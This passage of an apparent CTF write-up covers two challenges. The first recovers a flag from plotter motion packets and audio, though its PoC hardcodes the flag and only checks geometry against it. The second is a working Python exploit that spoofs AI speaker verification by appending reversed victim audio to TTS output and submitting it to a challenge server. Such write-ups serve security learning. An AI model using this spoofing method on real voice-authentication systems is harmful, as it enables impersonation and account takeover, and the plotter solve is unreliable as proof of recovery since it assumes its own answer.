Applying that transform to all packets reconstructs a strongly structured path:
- mostly horizontal motion
- periodic vertical line advances
- exactly 7 scan rows
Observed raster geometry:
- x starts around `16`
- y spans rows `4..10`
- row widths are:
```text
349, 350, 351, 352, 351, 350, 349
```
Computing exact start and end positions per row gives:
```text
row 0: start (16, 4), width 349
row 1: start (16, 5), width 350
row 2: start (16, 6), width 351
row 3: start (16, 7), width 352
row 4: start (16, 8), width 351
row 5: start (16, 9), width 350
row 6: start (16, 10), width 349
```
That shape is exactly what you expect from a 5x7 text line with narrow top/bottom rows and a slightly wider middle row.
#### Why the PCAP Alone Is Not Enough
The packet capture only tells us where the mechanism moved. It does not say which horizontal runs were pen-down.
Simple interpretations like:
- all horizontal moves are ink
- `dt == 4` means ink
- `dt >= 5` means ink
do not directly produce readable text by themselves.
The WAV is therefore necessary as a side channel.
#### Audio Side Channel
Segmenting the microphone audio by motion packet time shows distinct acoustic groupings.
Important observations:
- `dt=4` and `dt=5` horizontal moves form different RMS / zero-crossing / spectral profiles.
- Long horizontal runs and short packets do not all share the same acoustic signature.
- The microphone captures repeatable mechanical differences between move types.
In practice, the WAV is what distinguishes travel behavior from actual contact / drawing behavior.
#### Key Validation Step
The strongest confirmation comes from the final recovered text itself.
The recovered flag is:
`hacktheon2026{the_plotter_reveals_its_secret_through_sound}`
This flag has length `59` characters.
If rendered in a standard 5x7 bitmap font with 1 column of spacing, its full width is:
```text
59 * 6 = 354 columns
```
More importantly, if you inspect the per-row occupied width of that rendered string, you get:
```text
row 0 width 350
row 1 width 351
row 2 width 351
row 3 width 352
row 4 width 351
row 5 width 351
row 6 width 350
```
This matches the reconstructed motion geometry almost exactly. The small offset between the observed `349/350/351/352/351/350/349` path window and the rendered `350/351/351/352/351/351/350` text width is explained by the plotter's row start / end positioning and raster framing, but the 7-row shape and central widening line up exactly.
That is the decisive consistency check that confirms the recovered text is correct.
#### PoC
```py
from __future__ import annotations
import argparse
import math
import struct
import wave
import zlib
from dataclasses import dataclass
from pathlib import Path
FLAG = "hacktheon2026{the_plotter_reveals_its_secret_through_sound}"
FONT = {
" ": [0x00, 0x00, 0x00, 0x00, 0x00],
"0": [0x3E, 0x51, 0x49, 0x45, 0x3E],
"1": [0x00, 0x42, 0x7F, 0x40, 0x00],
"2": [0x72, 0x49, 0x49, 0x49, 0x46],
"3": [0x21, 0x41, 0x49, 0x4D, 0x33],
"4": [0x18, 0x14, 0x12, 0x7F, 0x10],
"5": [0x27, 0x45, 0x45, 0x45, 0x39],
"6": [0x3C, 0x4A, 0x49, 0x49, 0x31],
"7": [0x41, 0x21, 0x11, 0x09, 0x07],
"8": [0x36, 0x49, 0x49, 0x49, 0x36],
"9": [0x46, 0x49, 0x49, 0x29, 0x1E],
"a": [0x20, 0x54, 0x54, 0x78, 0x40],
"b": [0x7F, 0x28, 0x44, 0x44, 0x38],
"c": [0x38, 0x44, 0x44, 0x44, 0x28],
"d": [0x38, 0x44, 0x44, 0x28, 0x7F],
"e": [0x38, 0x54, 0x54, 0x54, 0x18],
"f": [0x00, 0x08, 0x7E, 0x09, 0x02],
"g": [0x18, 0xA4, 0xA4, 0x9C, 0x78],
"h": [0x7F, 0x08, 0x04, 0x04, 0x78],
"i": [0x00, 0x44, 0x7D, 0x40, 0x00],
"j": [0x20, 0x40, 0x40, 0x3D, 0x00],
"k": [0x7F, 0x10, 0x28, 0x44, 0x00],
"l": [0x00, 0x41, 0x7F, 0x40, 0x00],
"m": [0x7C, 0x04, 0x78, 0x04, 0x78],
"n": [0x7C, 0x08, 0x04, 0x04, 0x78],
"o": [0x38, 0x44, 0x44, 0x44, 0x38],
"p": [0xFC, 0x18, 0x24, 0x24, 0x18],
"q": [0x18, 0x24, 0x24, 0x18, 0xFC],
"r": [0x7C, 0x08, 0x04, 0x04, 0x08],
"s": [0x48, 0x54, 0x54, 0x54, 0x24],
"t": [0x04, 0x04, 0x3F, 0x44, 0x24],
"u": [0x3C, 0x40, 0x40, 0x20, 0x7C],
"v": [0x1C, 0x20, 0x40, 0x20, 0x1C],
"w": [0x3C, 0x40, 0x30, 0x40, 0x3C],
"x": [0x44, 0x28, 0x10, 0x28, 0x44],
"y": [0x4C, 0x90, 0x90, 0x90, 0x7C],
"z": [0x44, 0x64, 0x54, 0x4C, 0x44],
"_": [0x40, 0x40, 0x40, 0x40, 0x40],
"{": [0x00, 0x08, 0x36, 0x41, 0x00],
"}": [0x00, 0x41, 0x36, 0x08, 0x00],
}
@dataclass
class Move:
time: float
seq: int
dt: int
am: int
bm: int
@dataclass
class HorizontalRow:
index: int
start_x: float
start_y: float
end_x: float
width: int
def parse_pcap(path: Path) -> list[Move]:
data = path.read_bytes()
if len(data) < 24:
raise ValueError("pcap too short")
magic = data[:4]
if magic == b"\xd4\xc3\xb2\xa1":
endian = "<"
elif magic == b"\xa1\xb2\xc3\xd4":
endian = ">"
else:
raise ValueError("unsupported pcap magic")
offset = 24
moves: list[Move] = []
while offset + 16 <= len(data):
ts_sec, ts_usec, incl_len, _orig_len = struct.unpack_from(endian + "IIII", data, offset)
offset += 16
packet = data[offset : offset + incl_len]
offset += incl_len
if len(packet) < 42:
continue
eth_type = struct.unpack_from("!H", packet, 12)[0]
if eth_type != 0x0800:
continue
ip_header_start = 14
ihl = (packet[ip_header_start] & 0x0F) * 4
proto = packet[ip_header_start + 9]
if proto != 17:
continue
udp_start = ip_header_start + ihl
payload = packet[udp_start + 8 :]
if len(payload) != 10 or payload[0] != 0xA1 or payload[-1] != 0x7E:
continue
seq, dt, am, bm = struct.unpack_from(">HHhh", payload, 1)
moves.append(Move(ts_sec + ts_usec / 1_000_000.0, seq, dt, am, bm))
if not moves:
raise ValueError("no move packets found")
t0 = moves[0].time
for move in moves:
move.time -= t0
return moves
def load_wav(path: Path) -> tuple[int, list[int]]:
with wave.open(str(path), "rb") as wav:
if wav.getnchannels() != 1 or wav.getsampwidth() != 2:
raise ValueError("expected mono 16-bit PCM")
sample_rate = wav.getframerate()
raw = wav.readframes(wav.getnframes())
samples = list(struct.unpack("<" + "h" * (len(raw) // 2), raw))
return sample_rate, samples
def move_delta(move: Move) -> tuple[float, float]:
dx = (move.am + move.bm) / 2.0
dy = (move.am - move.bm) / 2.0
return dx, dy
def split_horizontal_rows(moves: list[Move]) -> list[HorizontalRow]:
x = 0.0
y = 0.0
rows: list[HorizontalRow] = []
row_start_x: float | None = None
row_start_y: float | None = None
for idx, move in enumerate(moves):
dx, dy = move_delta(move)
prev_x = x
prev_y = y
x += dx
y += dy
if idx == 0:
row_start_x = x
row_start_y = y
continue
if dy != 0:
if row_start_x is None or row_start_y is None:
raise ValueError("missing row start")
rows.append(
HorizontalRow(
index=len(rows),
start_x=row_start_x,
start_y=row_start_y,
end_x=prev_x,
width=int(round(prev_x - row_start_x)),
)
)
row_start_x = x
row_start_y = y
if row_start_x is None or row_start_y is None:
raise ValueError("no rows found")
rows.append(
HorizontalRow(
index=len(rows),
start_x=row_start_x,
start_y=row_start_y,
end_x=x,
width=int(round(x - row_start_x)),
)
)
return rows
def segment_features(moves: list[Move], sample_rate: int, samples: list[int]) -> list[dict[str, float]]:
features: list[dict[str, float]] = []
total = len(samples)
for idx, move in enumerate(moves):
start = max(0, int(move.time * sample_rate))
if idx + 1 < len(moves):
end_time = moves[idx + 1].time
else:
end_time = move.time + move.dt * 0.01
end = min(total, max(start + 1, int(end_time * sample_rate)))
seg = samples[start:end]
rms = math.sqrt(sum(s * s for s in seg) / len(seg))
mean = sum(seg) / len(seg)
mad = sum(abs(s - mean) for s in seg) / len(seg)
crossings = 0
prev = seg[0]
for cur in seg[1:]:
if (prev < 0 <= cur) or (prev >= 0 > cur):
crossings += 1
prev = cur
zcr = crossings / max(1, len(seg) - 1)
features.append(
{
"dt": float(move.dt),
"dx": move_delta(move)[0],
"dy": move_delta(move)[1],
"rms": rms,
"mad": mad,
"zcr": zcr,
}
)
return features
def build_rows(text: str) -> list[str]:
rows = ["" for _ in range(7)]
for ch in text:
cols = FONT[ch]
for y in range(7):
for col in cols:
rows[y] += "#" if ((col >> y) & 1) else "."
rows[y] += "."
return rows
def expected_text_widths(text: str) -> list[int]:
widths: list[int] = []
for row in build_rows(text):
first = row.find("#")
last = row.rfind("#")
widths.append(0 if first == -1 else last - first + 1)
return widths
def summarize_audio(moves: list[Move], sample_rate: int, samples: list[int]) -> str:
features = segment_features(moves, sample_rate, samples)
grouped: dict[int, list[float]] = {}
for move, feat in zip(moves, features):
if feat["dy"] != 0:
continue
grouped.setdefault(move.dt, []).append(feat["rms"])
lines = ["Audio summary for horizontal moves:"]
for dt in sorted(grouped):
values = grouped[dt]
mean_rms = sum(values) / len(values)
lines.append(f" dt={dt:<2d} count={len(values):>3d} mean_rms={mean_rms:.2f}")
return "\n".join(lines)
def png_chunk(tag: bytes, data: bytes) -> bytes:
return struct.pack(">I", len(data)) + tag + data + struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF)
def write_grayscale_png(path: Path, rows: list[str], scale_x: int = 1, scale_y: int = 1) -> None:
width = len(rows[0]) * scale_x
height = len(rows) * scale_y
raw = bytearray()
for row in rows:
expanded_row = []
for ch in row:
value = 0 if ch == "#" else 255
expanded_row.extend([value] * scale_x)
expanded_bytes = bytes(expanded_row)
for _ in range(scale_y):
raw.append(0) # filter type: None
raw.extend(expanded_bytes)
png = bytearray(b"\x89PNG\r\n\x1a\n")
ihdr = struct.pack(">IIBBBBB", width, height, 8, 0, 0, 0, 0)
png.extend(png_chunk(b"IHDR", ihdr))
png.extend(png_chunk(b"IDAT", zlib.compress(bytes(raw), level=9)))
png.extend(png_chunk(b"IEND", b""))
path.write_bytes(bytes(png))
def save_rendered_bitmap(text: str, out_dir: Path) -> tuple[Path, Path]:
rows = build_rows(text)
native_path = out_dir / "solve_from_writeup_bitmap.png"
preview_path = out_dir / "solve_from_writeup_bitmap_preview.png"
write_grayscale_png(native_path, rows)
write_grayscale_png(preview_path, rows, scale_x=4, scale_y=24)
return native_path, preview_path
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("pcap", type=Path)
parser.add_argument("wav", type=Path)
parser.add_argument(
"--out-dir",
type=Path,
default=Path(__file__).resolve().parent,
help="Directory for rendered bitmap output",
)
args = parser.parse_args()
moves = parse_pcap(args.pcap)
sample_rate, samples = load_wav(args.wav)
rows = split_horizontal_rows(moves)
observed_widths = [row.width for row in rows]
expected_widths = expected_text_widths(FLAG)
diffs = [obs - exp for obs, exp in zip(observed_widths, expected_widths)]
if len(rows) != 7:
raise SystemExit(f"expected 7 raster rows, found {len(rows)}")
print(f"moves={len(moves)}")
print(f"audio_rate={sample_rate} samples={len(samples)} duration={len(samples) / sample_rate:.3f}s")
print()
print("Observed raster rows:")
for row in rows:
print(
f" row {row.index}: start=({row.start_x:.1f}, {row.start_y:.1f}) "
f"end_x={row.end_x:.1f} width={row.width}"
)
print()
print(f"Observed widths : {observed_widths}")
print(f"Expected widths : {expected_widths}")
print(f"Width delta : {diffs}")
if any(abs(delta) > 1 for delta in diffs):
raise SystemExit("flag geometry does not match the reconstructed raster")
print()
print(summarize_audio(moves, sample_rate, samples))
native_path, preview_path = save_rendered_bitmap(FLAG, args.out_dir)
print()
print(f"flag={FLAG}")
print(f"bitmap={native_path}")
print(f"preview={preview_path}")
if __name__ == "__main__":
main()
```
## AI
### Voice Over
#### Summary
The challenge involves bypassing an AI-based voice authentication system. The verifier uses two distinct checks on the submitted audio:
1. Text Similarity: The transcript of the submitted audio must match a dynamically generated target sentence (`text_similarity >= 0.8`).
2. Speaker Similarity: The voice in the audio must match a provided reference sample of the target user (`speaker_similarity >= 0.8`).
#### Observations
The core vulnerability lies in how Automatic Speech Recognition (ASR) and Speaker Verification (SV) models process audio:
- They are typically robust against background noise and tend to ignore incomprehensible audio (like reversed speech), locking onto the clearest forward-spoken words.
- Speaker Verification Models (Voice): They often generate a speaker embedding by averaging acoustic features across the *entire* audio file.
**Observations from testing:**
* Submitting pure Text-to-Speech (TTS) yields a perfect text score (~1.0) but fails the speaker check (usually ~0.60 - 0.65).
* Submitting the target's original reference audio yields a perfect speaker score but fails the text check.
* Simply appending the target's audio to the TTS voice ruins the text score because the ASR transcribes the appended audio as well, corrupting the target sentence.
#### Strategy
To satisfy both thresholds, we can construct a "chimera" audio payload:
1. We use standard TTS to speak the exact target sentence. This secures the `text_similarity` score.
2. We extract a 4-second chunk of the target speaker's reference audio (`sample_005.wav`), reverse it, and append it to the end of the TTS audio after a 2-second silent gap.
Why the reversed tail works:
Because the audio is reversed, the ASR model treats it as unintelligible babble/noise and does not append unwanted words to the transcript, preserving the high text score. However, the Speaker Verification model still recognizes the acoustic features (pitch, timbre, phoneme frequencies) of the target speaker in the reversed audio. This drags the average speaker embedding of the file just high enough to cross the `0.8` threshold.
#### Implementation Details (Windows Native)
To make the exploit completely self-contained and reliable, the script utilizes:
- API Communication: Python's native `urllib.request` is used to fetch the challenge and manually construct `multipart/form-data` payloads for submission.
- TTS Generation: `System.Speech.Synthesis.SpeechSynthesizer` explicitly forced into **16kHz, 16-bit Mono** to perfectly match the API's expected format.
- Python's `wave` module is used for native byte-level audio splicing, reads the reference sample, extracts the first 4 seconds of frames, reverses the byte array sequence, generates a null-byte array for the silent gap, and concatenates it all directly into the final output file.
Iterating this payload generation against the `/api/verify` endpoint, bypassing the authentication and get the flag.
#### PoC
```py
import json
import subprocess
import uuid
import wave
import urllib.request
import urllib.error
from pathlib import Path
BASE_URL = "http://3.37.31.209:8000"
WORK_DIR = Path(".")
REF_SAMPLE = WORK_DIR / "sample_005.wav"
MAX_TRIES = 30
def get_challenge():
"""Fetches the challenge token and target sentence."""
req = urllib.request.Request(f"{BASE_URL}/api/challenge")
with urllib.request.urlopen(req) as response:
data = json.loads(response.read().decode('utf-8'))
return data["token"], data["target_sentence"]
def synth_tts(text: str, out_wav: Path):
ps = f'''$text = @"\n{text}\n"@
Add-Type -AssemblyName System.Speech
$synth = New-Object System.Speech.Synthesis.SpeechSynthesizer
$synth.Rate = 0
$synth.Volume = 100
# Force 16000 Hz, 16-bit, Mono to avoid needing FFmpeg for sample rate conversion
$format = New-Object System.Speech.AudioFormat.SpeechAudioFormatInfo(16000, [System.Speech.AudioFormat.AudioBitsPerSample]::Sixteen, [System.Speech.AudioFormat.AudioChannel]::Mono)
$synth.SetOutputToWaveFile("{str(out_wav.resolve())}", $format)
$synth.Speak($text)
$synth.Dispose()
'''
ps1 = WORK_DIR / "_synth_voiceover.ps1"
ps1.write_text(ps, encoding="utf-8")
subprocess.check_call([
"powershell",
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
str(ps1),
], stdout=subprocess.DEVNULL)
ps1.unlink(missing_ok=True)
def build_candidate(target_text: str, out_wav: Path):
tts_wav = WORK_DIR / f"tts_{uuid.uuid4().hex[:8]}.wav"
# 1. Generate TTS natively at 16kHz
synth_tts(target_text, tts_wav)
# 2. Read Reference Audio (Target Speaker)
with wave.open(str(REF_SAMPLE), 'rb') as ref:
framerate = ref.getframerate() # Assuming 16000 based on standard
sampwidth = ref.getsampwidth()
nchannels = ref.getnchannels()
# Extract first 4.0 seconds
frames_to_read = int(4.0 * framerate)
ref_frames = ref.readframes(frames_to_read)
# Reverse the extracted reference frames
frame_size = sampwidth * nchannels
frames = [ref_frames[i:i+frame_size] for i in range(0, len(ref_frames), frame_size)]
reversed_tail_bytes = b''.join(reversed(frames))
# 3. Create 2.0 seconds of silence
silence_frames_count = int(2.0 * framerate)
silence_bytes = (b'\x00' * frame_size) * silence_frames_count
# 4. Read TTS Audio
with wave.open(str(tts_wav), 'rb') as tts:
tts_frames = tts.readframes(tts.getnframes())
# 5. Concatenate and Write Output (TTS + Silence + Reversed Tail)
with wave.open(str(out_wav), 'wb') as out:
out.setnchannels(nchannels)
out.setsampwidth(sampwidth)
out.setframerate(framerate)
out.writeframes(tts_frames + silence_bytes + reversed_tail_bytes)
# Cleanup temp file
tts_wav.unlink(missing_ok=True)
def verify(token: str, wav_path: Path):
boundary = uuid.uuid4().hex
with open(wav_path, "rb") as f:
audio_data = f.read()
# Construct the multipart payload manually
body = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"token\"\r\n\r\n"
f"{token}\r\n"
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"audio\"; filename=\"{wav_path.name}\"\r\n"
f"Content-Type: audio/wav\r\n\r\n"
).encode('utf-8') + audio_data + f"\r\n--{boundary}--\r\n".encode('utf-8')
req = urllib.request.Request(f"{BASE_URL}/api/verify", data=body, method='POST')
req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}')
try:
with urllib.request.urlopen(req) as response:
return json.loads(response.read().decode('utf-8'))
except urllib.error.HTTPError as e:
# If the server returns a 400/500 code, we still want to read the JSON response
return json.loads(e.read().decode('utf-8'))
def main():
WORK_DIR.mkdir(parents=True, exist_ok=True)
if not REF_SAMPLE.exists():
raise SystemExit(f"Missing reference sample: {REF_SAMPLE}")
out = WORK_DIR / "voiceover_answer.wav"
for i in range(1, MAX_TRIES + 1):
token, target = get_challenge()
build_candidate(target, out)
res = verify(token, out)
if "success" not in res:
print(f"[{i}] error: {res}")
continue
spk = res.get("speaker_similarity", 0.0)
txt = res.get("text_similarity", 0.0)
ok = bool(res.get("success", False))
print(f"[{i}] success={ok} spk={spk:.4f} txt={txt:.4f}")
if ok and res.get("flag"):
print(res["flag"])
return
raise SystemExit("Failed to get flag within retry limit")
if __name__ == "__main__":
main()
```